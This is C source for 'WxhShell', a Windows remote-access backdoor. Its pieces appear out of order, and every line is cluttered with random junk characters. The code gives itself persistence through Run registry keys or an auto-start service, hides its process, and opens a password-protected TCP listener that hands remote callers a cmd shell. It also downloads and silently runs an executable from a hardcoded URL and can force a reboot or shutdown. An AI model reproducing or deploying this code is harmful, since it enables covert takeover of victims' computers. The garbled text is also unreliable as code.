    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G7Ck P  
    if(Boot(SHUTDOWN)) F-zIzzb&O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h[qZM  
    else { ?7wcv$K5  
    closesocket(wsh); k^|z.$+  
    ExitThread(0); ox`Zs2-a  
    } ppn  8  
    break; <QvVPE}z   
    } RuYIG?J=/  
  // 获取shell }Fu1Y@M%  
  case 's': { ,gNZHKNq  
    CmdShell(wsh); v@Eb[7Kq/1  
    closesocket(wsh); 6M&ajl`o  
    ExitThread(0); PEEaNOk 1b  
    break; A z@@0  
  } :|kO}NGM  
  // 退出 ;b 65s9n^b  
  case 'x': { *w0|`[P+h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dakHH@Q  
    CloseIt(wsh); ;UgwV/d  
    break; @k;65'"Q  
    } VD&wO'U  
  // 离开 @yb'h`f]  
  case 'q': { M2ex 3m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G{6@]72  
    closesocket(wsh); )jl@ hnA  
    WSACleanup(); : 8>zo  
    exit(1); bC+Z R{M  
    break; #!z-)[S.+  
        } e0 y.J  
  } y "+'4:_  
  } cO{NiRIb  
0~ nCT&V  
  // 提示信息 Z<>gx m<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8K 9HFT@yV  
} GC# [&>L  
  } |sr\SCx  
9^g8VlQdT  
  return; sx azl]  
} !VIxEu^ke  
}iDRlE,  
// shell模块句柄 5'f_~>1Wt  
int CmdShell(SOCKET sock) H0inU+Ih  
{ |)To 0Z  
STARTUPINFO si; MkFWZ9c3  
ZeroMemory(&si,sizeof(si)); 3HXeBW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V<|N}8{Z2a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pSC{0Y$g  
PROCESS_INFORMATION ProcessInfo; 7Z:3xb&>   
char cmdline[]="cmd"; 9\?&u_ U"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EsWB|V>  
  return 0; $]#8D>E&  
} N)cODy([  
u q 9mq"  
// 自身启动模式 !QAndg{;D  
int StartFromService(void) vcy1itY  
{ 5!9y nIC+>  
typedef struct MHWc~@R  
{ ?MSZO]Q4+  
  DWORD ExitStatus; [V_mF  
  DWORD PebBaseAddress; /Z*$k{qIR&  
  DWORD AffinityMask; L|APXy]>  
  DWORD BasePriority; :CM-I_6  
  ULONG UniqueProcessId; 9$v\D3<Z  
  ULONG InheritedFromUniqueProcessId; *-]k([wV  
}   PROCESS_BASIC_INFORMATION; i| cA)  
|%8t.Z  
PROCNTQSIP NtQueryInformationProcess; 2u_=i$xW  
gYbvCs8O!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _5n2'\] H`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FEhBhv|m  
l2W+VBn6  
  HANDLE             hProcess; }` `oojz  
  PROCESS_BASIC_INFORMATION pbi; PT,*KYF_O"  
,e$RvFB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bi fI.2|  
  if(NULL == hInst ) return 0; D_<B^3w )  
JfJ ln[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +1qvT_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'p[6K'Uq5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PJKY$s.  
*vBhd2HO  
  if (!NtQueryInformationProcess) return 0; o|n;{zT"  
J%ws-A?6rN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h\#4[/  
  if(!hProcess) return 0; C`Vuw|Xl  
1G`5FU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o+OX^F0  
*tZ3?X[b  
  CloseHandle(hProcess); UE_>@_T  
BSy4 d>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4V@0L  
if(hProcess==NULL) return 0; GPAC0K^p  
vr47PM2al  
HMODULE hMod; (.oDxs()I  
char procName[255]; FLPN#1  
unsigned long cbNeeded; Th,]nVsGs~  
*URY8 a`bO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eWYet2!Q  
`m AYK)N  
  CloseHandle(hProcess); .-s!} P"  
>oy%qLHe~t  
if(strstr(procName,"services")) return 1; // 以服务启动 )rA\+XT7  
=#TQXm']Gi  
  return 0; // 注册表启动 Jnt r"a-4  
} {3vm]  
Rbm+V{EF&  
// 主模块 6"?#s/fk  
int StartWxhshell(LPSTR lpCmdLine) lKI]q<2  
{ ,trh)ZZYW|  
  SOCKET wsl; \iEJ9V  
BOOL val=TRUE; ZKI` ;  
  int port=0; PK?}hz  
  struct sockaddr_in door; D0f7I:i1  
xop\W4s_  
  if(wscfg.ws_autoins) Install(); `,GFiTPd  
K24y;968  
port=atoi(lpCmdLine); Q4ii25]*  
*Z"Kvj;>u  
if(port<=0) port=wscfg.ws_port; /Jk.b/t.*S  
%iV\nFal>  
  WSADATA data; $\4Or  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z5:3.+M5  
Z+J~moW `  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N9)ERW2`*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /$vX1T  
  door.sin_family = AF_INET; \<%FZT_4~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &@7|_60  
  door.sin_port = htons(port); K1<l/ s  
N/^[c+J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { < R@&<E6  
closesocket(wsl); 2(D&jL  
return 1; |@-y+vbA*  
} Dhg/>@tw  
Eh_[8:dK  
  if(listen(wsl,2) == INVALID_SOCKET) { _x#r,1V+D  
closesocket(wsl); b[;3y/X  
return 1; dj0D u^ v4  
} t.O4-+$ig  
  Wxhshell(wsl); /s:akLBaD  
  WSACleanup(); >273V+dy  
Yu^}  
return 0; v g tJ+GjN  
&zP\K~Nt  
} m} =<@b:l  
+fIy eX  
// 以NT服务方式启动 S 1Ji\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1 gRR  
{  [7)#3  
DWORD   status = 0; zgpPu4t  
  DWORD   specificError = 0xfffffff; VKrKA71Z~  
Z3T26Uk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; / dn]`Ge)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R91u6r#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D3 E!jQ1  
  serviceStatus.dwWin32ExitCode     = 0; 2gjA>ET`N  
  serviceStatus.dwServiceSpecificExitCode = 0; s{j3F  
  serviceStatus.dwCheckPoint       = 0; zwHTtE  
  serviceStatus.dwWaitHint       = 0; `Sj8<O}  
naB[0I& N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z!j`Qoh?V9  
  if (hServiceStatusHandle==0) return; WHF:> 0B  
2,%ne(  
status = GetLastError(); ]gj@r[  
  if (status!=NO_ERROR) 0$49X  
{ b}G +7B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]7"mt2Q=3  
    serviceStatus.dwCheckPoint       = 0; X]CaWxM  
    serviceStatus.dwWaitHint       = 0; BQ&h&57K  
    serviceStatus.dwWin32ExitCode     = status; /L[:C=u  
    serviceStatus.dwServiceSpecificExitCode = specificError; }`^<ZNkb/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `}Hnj*  
    return; MN)<Tr2f  
  } mKq9mA"(E  
`Op ";E88  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %s)E}cGH  
  serviceStatus.dwCheckPoint       = 0; ~GY;{  
  serviceStatus.dwWaitHint       = 0; @49^WY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^jhHaN]G^  
} 7y`~T+  
bmddh2  
// 处理NT服务事件,比如:启动、停止 ]X _&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j({L6</x  
{ /3Gv51'  
switch(fdwControl) Qg oXOVo6  
{ eaiz w@N  
case SERVICE_CONTROL_STOP: C ILk  
  serviceStatus.dwWin32ExitCode = 0; IX3U\_I#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x[oYN9O  
  serviceStatus.dwCheckPoint   = 0; >"nk}@  
  serviceStatus.dwWaitHint     = 0; j+ys&pDczm  
  { 1X9sx&5H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n2O7n @8  
  } C,z]q$4  
  return; wLUmRo56aR  
case SERVICE_CONTROL_PAUSE: >zhbipA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  3i$AR  
  break; ZmHl~MR@  
case SERVICE_CONTROL_CONTINUE: |$0/:*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SI(8.$1  
  break; |m EJJg`"7  
case SERVICE_CONTROL_INTERROGATE: %yrP: fg/  
  break; g%[Ruugu  
}; IH0^*f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9VY_gi=vL  
} ohyUvxvj  
p]g/iLDZ  
// 标准应用程序主函数 ?^+|V,<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q B 2#EsZ  
{ 1Q$ M/}  
xX>448=  
// 获取操作系统版本 \%^3Izsc  
OsIsNt=GetOsVer(); LOYv%9$0*p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jH G(d$h  
M*{e e0\`r  
  // 从命令行安装 |ZKchd8Yq  
  if(strpbrk(lpCmdLine,"iI")) Install(); QBo^{],  
tr}$82Po  
  // 下载执行文件 wLbns qa  
if(wscfg.ws_downexe) { NV;tsuA|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \^:f4ZT  
  WinExec(wscfg.ws_filenam,SW_HIDE); Te13Af~  
} gy[uq m_ T  
\ a<Ye T  
if(!OsIsNt) { 1wM p3  
// 如果时win9x,隐藏进程并且设置为注册表启动 s`2o\]  
HideProc(); zc(7p;w#p  
StartWxhshell(lpCmdLine); xMh&C{q  
} cS[`1y,\3  
else 0nuFWV  
  if(StartFromService()) pVY.&XBZ$  
  // 以服务方式启动 5VcYdu3  
  StartServiceCtrlDispatcher(DispatchTable); ']NM_0  
else O#|E7;  
  // 普通方式启动 M;bQid@BG  
  StartWxhshell(lpCmdLine); S{H8}m|MW  
w {q YP  
return 0; Vqr&)i"b$  
} s_8! x  
3IxT2@H)  
] 7O?c=  
W2k~N X#@  
=========================================== Glr.)PA  
sig_2;  
w?C\YKF7  
?m.4f&X  
}1P  
tpD?-`9o  
" EKf4f^<  
3WY W])  
#include <stdio.h> m}E$6E^~O  
#include <string.h> >4E,_`3N  
#include <windows.h> z,EOyi  
#include <winsock2.h> !]nCeo  
#include <winsvc.h> cG'Wh@  
#include <urlmon.h> Kna'5L5"  
`xr%LsNn  
#pragma comment (lib, "Ws2_32.lib") +1%6-g4 "  
#pragma comment (lib, "urlmon.lib") 7$;$4.'  
)wRD  
#define MAX_USER   100 // 最大客户端连接数 { 1+H\ (v  
#define BUF_SOCK   200 // sock buffer FRW.  
#define KEY_BUFF   255 // 输入 buffer #wyS?FP-  
UTt#ltun?  
#define REBOOT     0   // 重启 Id0F2  [  
#define SHUTDOWN   1   // 关机 ;a`X|N9  
ao!r6:&v$e  
#define DEF_PORT   5000 // 监听端口 5  $J  
@6SSk=9_S  
#define REG_LEN     16   // 注册表键长度 ik*_,51Zj  
#define SVC_LEN     80   // NT服务名长度 @n(In$  
^q` *!B 9@  
// 从dll定义API Vmc)or*#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $%-?S]6)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ymu=G3-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 11sW$@xs 9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $\ '\@3o  
G;;~xfE'  
// wxhshell配置信息 _u>>+6,p  
struct WSCFG { :6+~"7T  
  int ws_port;         // 监听端口 u"jnEKN0y  
  char ws_passstr[REG_LEN]; // 口令 LayU)TIt  
  int ws_autoins;       // 安装标记, 1=yes 0=no / ["T#`  
  char ws_regname[REG_LEN]; // 注册表键名 ^d*>P|n*@e  
  char ws_svcname[REG_LEN]; // 服务名 M)7enp) F.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V]}b3Y!(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8E+l; 2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jlBCu(.,_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }t'^Au`X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fL;p^t u3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ULjzhy+(8  
jHCKV  
};  |_ *$+  
Kc0OLcu^d  
// default Wxhshell configuration  P+0xi  
struct WSCFG wscfg={DEF_PORT, [4 j;FN Fa  
    "xuhuanlingzhe", v3Yj2LSqx  
    1, bB-v ar  
    "Wxhshell", 3#[I _  
    "Wxhshell", MV}]i@ V  
            "WxhShell Service", `%3p.~>  
    "Wrsky Windows CmdShell Service", ErC[Zh"''  
    "Please Input Your Password: ", N3<Jh  
  1, E6k&r}  
  "http://www.wrsky.com/wxhshell.exe", YC<I|&"  
  "Wxhshell.exe" K7c8_g*>4=  
    }; |5Pbc&mH8A  
}q W aE  
// 消息定义模块 k;5}@3iQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !%r`'|9y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rR~X>+K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `WS_*fJ5  
char *msg_ws_ext="\n\rExit."; 8)8oR&(f  
char *msg_ws_end="\n\rQuit."; sIsu >eL  
char *msg_ws_boot="\n\rReboot..."; p%1m&/ `F  
char *msg_ws_poff="\n\rShutdown..."; [!mjUsut*  
char *msg_ws_down="\n\rSave to "; 1 7oxD  
($> 0&w  
char *msg_ws_err="\n\rErr!"; ;7k7/f:  
char *msg_ws_ok="\n\rOK!"; rbbuSI  
V?BVk8D};  
char ExeFile[MAX_PATH]; Pltju4.:C  
int nUser = 0; K3DJ"NJ<Ji  
HANDLE handles[MAX_USER]; &NeY Kh?  
int OsIsNt; 0pa^O$?p  
,0]28 D  
SERVICE_STATUS       serviceStatus; nn4Sy,cz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o q)"1  
d A{Jk  
// 函数声明 T(^8ki  
int Install(void); gq3OCA!cX  
int Uninstall(void); GuvF   
int DownloadFile(char *sURL, SOCKET wsh); |LE++t*X~  
int Boot(int flag); GQq'~Lr5  
void HideProc(void);  LB7I`W  
int GetOsVer(void); uTGvXKL7  
int Wxhshell(SOCKET wsl); ^\jX5)2{  
void TalkWithClient(void *cs); b] ?;R  
int CmdShell(SOCKET sock); 4CT9-2UC  
int StartFromService(void); z,YUguc|  
int StartWxhshell(LPSTR lpCmdLine); S=SncMO nE  
hP8&n9o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $4JX#lkt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }tO<_f))  
PM!t"[@&  
// 数据结构和表定义 $i~`vu*  
SERVICE_TABLE_ENTRY DispatchTable[] = q.Z#7~6`3  
{ v=1S  
{wscfg.ws_svcname, NTServiceMain}, i!x5T%x_  
{NULL, NULL} BrMp_M  
}; B-'BJ|*4I  
^) ^|;C\`  
// 自我安装 W r7e_  
int Install(void) _kX/LR"L+  
{ %uqD\`-  
  char svExeFile[MAX_PATH]; eAKQR  
  HKEY key; !&p:=}s  
  strcpy(svExeFile,ExeFile); U] -@yx  
{0WID D  
// 如果是win9x系统,修改注册表设为自启动 4Xk;Qd  
if(!OsIsNt) { F6]!?@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4~YQ\4h=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +gCy@_2;  
  RegCloseKey(key); P Xn>x8z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1'm`SRX#e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {<4?o? 1 g  
  RegCloseKey(key); 6@;L$QYY-V  
  return 0; !nBm}E7d  
    } ikG9l&n  
  } 4eL54).1O  
} 1"B9Z6jf  
else { ?mfWm{QTt  
8!Mzr1:  
// 如果是NT以上系统,安装为系统服务 ,xe@G)a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %aE7id>v6  
if (schSCManager!=0) x][9ptr h  
{ ^1yTL5#:Vw  
  SC_HANDLE schService = CreateService <&EO=A  
  ( "|r^l  
  schSCManager, s1 ^mk]  
  wscfg.ws_svcname, pjs9b%.  
  wscfg.ws_svcdisp, c0Ro3j\p  
  SERVICE_ALL_ACCESS, q=% C (  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y1aF._Z  
  SERVICE_AUTO_START, [piF MxZP  
  SERVICE_ERROR_NORMAL, hIo S#]  
  svExeFile, ^npS==Y]!.  
  NULL, :F w"u4WI  
  NULL, fZ~kw*0*  
  NULL, .P :f  
  NULL, CSqb)\8Oi*  
  NULL ]op^dW1;0_  
  ); bo!]  
  if (schService!=0) ~eOj:H  
  { fQTA@WAr  
  CloseServiceHandle(schService); 1o~U+s_r  
  CloseServiceHandle(schSCManager); LO}:Ub  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '[yqi1 &  
  strcat(svExeFile,wscfg.ws_svcname); |U$de2LF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ecqz@*d&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HZ<f(  
  RegCloseKey(key); ~muIi#4  
  return 0; g6/N\[b%  
    } vWi. []  
  } Z0 IxYEp  
  CloseServiceHandle(schSCManager); 8xpYQ<cax  
} NRuG?^/}d  
} f'`nx;@X  
BOiz ~h6  
return 1; )C01f ZhD  
} L8w76|  
E,D:D3O  
// 自我卸载 U>_\  
int Uninstall(void) ,dj* p ,J  
{ CVSsB:H6e  
  HKEY key; s@)"IdSA(  
w]Ko/;;^2  
if(!OsIsNt) { 90h1e7ZcC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :_QAjU  
  RegDeleteValue(key,wscfg.ws_regname); ['Y+z2k  
  RegCloseKey(key); |RAQ%VXm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :CkR4J!m3  
  RegDeleteValue(key,wscfg.ws_regname); o=RqegL  
  RegCloseKey(key); _`X#c-J  
  return 0; 2hwXWTSu  
  } "X{aS}  
} Y0u'@l_[F  
} 7fW=5wc  
else { )Rhff$  
\abAPo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |CZnq-,C  
if (schSCManager!=0) Oz#EGjz  
{ 78a-3){  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VmOFX:j!,  
  if (schService!=0) bDFCZH-:'O  
  { (&P0la 1  
  if(DeleteService(schService)!=0) { gR-Qj  
  CloseServiceHandle(schService); [#>$k 6F*  
  CloseServiceHandle(schSCManager); ZP6 3Alt  
  return 0; u_6BHsU  
  } Iz GB  
  CloseServiceHandle(schService); R<lNk<  
  } rT sbP40  
  CloseServiceHandle(schSCManager); Zu0;/_rN  
} 3b?OW7H  
} 8pq-nuf|K  
lA.;ZD!  
return 1; aO^:dl5  
} wSJ]3gJM`  
%7(kP}y*  
// 从指定url下载文件 >NH4A_  
int DownloadFile(char *sURL, SOCKET wsh) Oa}V>a  
{ VTJIaqw  
  HRESULT hr; i#]aV]IT  
char seps[]= "/"; 1t\b a1x  
char *token; Z4HA94  
char *file; D-o7yc"K  
char myURL[MAX_PATH]; b,rH&+2H  
char myFILE[MAX_PATH]; 2i7i\?<.  
s?@)a,C%k  
strcpy(myURL,sURL); <nb3~z1  
  token=strtok(myURL,seps); $p0 /6c  
  while(token!=NULL) DD@)z0W  
  { O+E1M=R6h  
    file=token; S}m$,<x  
  token=strtok(NULL,seps); 1(%>`=R8  
  } 1A?\BJ"  
5U)ab3 :  
GetCurrentDirectory(MAX_PATH,myFILE); }#ep}h  
strcat(myFILE, "\\"); #j^('K|  
strcat(myFILE, file); >9.5-5"   
  send(wsh,myFILE,strlen(myFILE),0); Wiq{wxe  
send(wsh,"...",3,0); 0j{F^rph  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); joChML_  
  if(hr==S_OK) O/D Af|X|  
return 0; q4 Oxs  
else 7ZV~op2Q  
return 1; y NrinYw  
dcl.wD0~V  
} @ kJ0K  
w*<Y$hnBzF  
// 系统电源模块 e' U"`)S  
int Boot(int flag) UK"}}nO@e  
{ ':!3jZP"m  
  HANDLE hToken; yV J dZI  
  TOKEN_PRIVILEGES tkp; ^nHB1"OCV  
XDpfpJ,z"}  
  if(OsIsNt) { n%0]V Xx#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2/v35| ?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?~aZ#%*i8  
    tkp.PrivilegeCount = 1; $Wr\ [P:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tLD~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *t#s$Ga  
if(flag==REBOOT) { poXLy/K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >Lw}KO`  
  return 0; UTDcX  
} 5!'R'x5e  
else { 4pmTicA~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jFuC=6aF  
  return 0; ]g;^w?9h  
} J+)'-OFt0  
  } OuOk=  
  else { k]SAJ~bS|  
if(flag==REBOOT) { {J,6iP{>ZN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =ze FK_S!  
  return 0; %6NO0 F^  
} . ]o3A8  
else { <`R|a *  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \!+-4,CbZY  
  return 0; [ME}Cv`?<E  
} u\{qH!?t  
}  SwdC,  
I#|ocz  
return 1; .q0218l:dF  
} .O5LI35,  
r-RCe3%g%  
// win9x进程隐藏模块 gEZwW]r-  
void HideProc(void) NXzU0  
{ tmO;:n<N  
)Qh>0T+(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cS<TmS!  
  if ( hKernel != NULL ) Qw24/DJK  
  { pOqGAD{D$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DE*MdfP0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jW-;4e*H=V  
    FreeLibrary(hKernel); AIuMX4nb  
  } -"W)|oC_  
:8p&#M  
return; h [nH<m  
} n?'d|h  
&EAk z  
// 获取操作系统版本 [096CK  
int GetOsVer(void) <Ctyht0c.  
{ ,f} h}  
  OSVERSIONINFO winfo; H4M{_2DO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NH'1rt(w  
  GetVersionEx(&winfo); 9<xTu>7J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BG'6;64kx6  
  return 1; 8AT;8I<K  
  else 2HcsQ*H] G  
  return 0; cyW;,uT)D  
} SHMl%mw  
:e1'o  
// 客户端句柄模块 ^9&b+u=X  
int Wxhshell(SOCKET wsl) ?22d},.  
{ PC*m% ?+  
  SOCKET wsh; CN$I:o04C  
  struct sockaddr_in client; ; D1FAz  
  DWORD myID; 5a'yXB}  
yh S#&)O  
  while(nUser<MAX_USER) WK pUn8&N  
{ /&CUspb  
  int nSize=sizeof(client); Vy]A,Rn7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B,3 t`  
  if(wsh==INVALID_SOCKET) return 1; 9'1hjd3k  
A#<vG1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \X&]FZ(*  
if(handles[nUser]==0) E@:Q 'g%  
  closesocket(wsh); TbOJp  
else [}z?1Gj;W(  
  nUser++; IuNkfBe4m  
  } ]Z _$'?f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l;Q >b]DZ  
 ylk{!  
  return 0; cL#-*_(  
} cv3L&zg M  
3 h#s([uL  
// 关闭 socket r,5-XB  
void CloseIt(SOCKET wsh) $4=Ne3 y  
{ z1F9$ ^  
closesocket(wsh); &]w#z=5SXi  
nUser--; ~%`EeJwT  
ExitThread(0); |VK:2p^ u  
} .N5'.3  
S#k{e72 *  
// 客户端请求句柄 .>P~uZiX!  
void TalkWithClient(void *cs) !~WZ_z  
{ *2`:VFEV  
^%;"[r  
  SOCKET wsh=(SOCKET)cs; [q'eEN G  
  char pwd[SVC_LEN]; v{o? #Sk1  
  char cmd[KEY_BUFF]; g^jJ8k,7(  
char chr[1]; ~]&B >q  
int i,j; dsV ~|D6:  
7R: WX:  
  while (nUser < MAX_USER) {  ozU2  
[eyb7\#   
if(wscfg.ws_passstr) { V"O 9n[|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HL@TcfOe~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~x'zX-@rC  
  //ZeroMemory(pwd,KEY_BUFF); VUp. j  
      i=0; +$PFHXB  
  while(i<SVC_LEN) { Mq@}snp"S  
?1CJf>B>  
  // 设置超时 (v!mR+\x  
  fd_set FdRead; 0 sZwdO  
  struct timeval TimeOut; |) O):  
  FD_ZERO(&FdRead); %l,4=TQ[m  
  FD_SET(wsh,&FdRead); 0pD[7~^o  
  TimeOut.tv_sec=8; q3+I<qsAz  
  TimeOut.tv_usec=0; glx2I_y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F99A;M8(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mbyih+amCr  
;Z*'D}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (-\]A|  
  pwd=chr[0]; PcB{ = L  
  if(chr[0]==0xd || chr[0]==0xa) { `NQ{)N0!  
  pwd=0; ijF V<P  
  break; 'j}g  
  } ehE-SrkU'  
  i++; -,^WaB7u\  
    } %*jGim~s  
: W~f;k  
  // 如果是非法用户,关闭 socket eES'}[W>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "qS!B.rt:  
} jn^fgH ?  
Oxv+1Ub<Dv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^7Lk-a7gp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !Av1Leb9$  
>yKpM }6l{  
while(1) { J?IC~5*2  
.a,(pq Jg  
  ZeroMemory(cmd,KEY_BUFF); F$h'p4$T  
ds]?;l"  
      // 自动支持客户端 telnet标准   -D#5o,]3  
  j=0; T%kKVr  
  while(j<KEY_BUFF) { ")ED)&e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g5}lLKT  
  cmd[j]=chr[0]; ]YsR E>  
  if(chr[0]==0xa || chr[0]==0xd) { B9*Sfw%  
  cmd[j]=0; &:No}6  
  break; \!<"7=(J{4  
  } b/nOdFO@  
  j++; Q2"WV  
    } \45(#H<$  
y@3kU*-1  
  // 下载文件 akC>s8tqlA  
  if(strstr(cmd,"http://")) { )|RZa|`-G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f&c]LH _  
  if(DownloadFile(cmd,wsh)) 6.'$EtH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E~RV1)  
  else Sph*1c(R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hM>*a!)U  
  } (B:uc_+  
  else { /PqUXF  
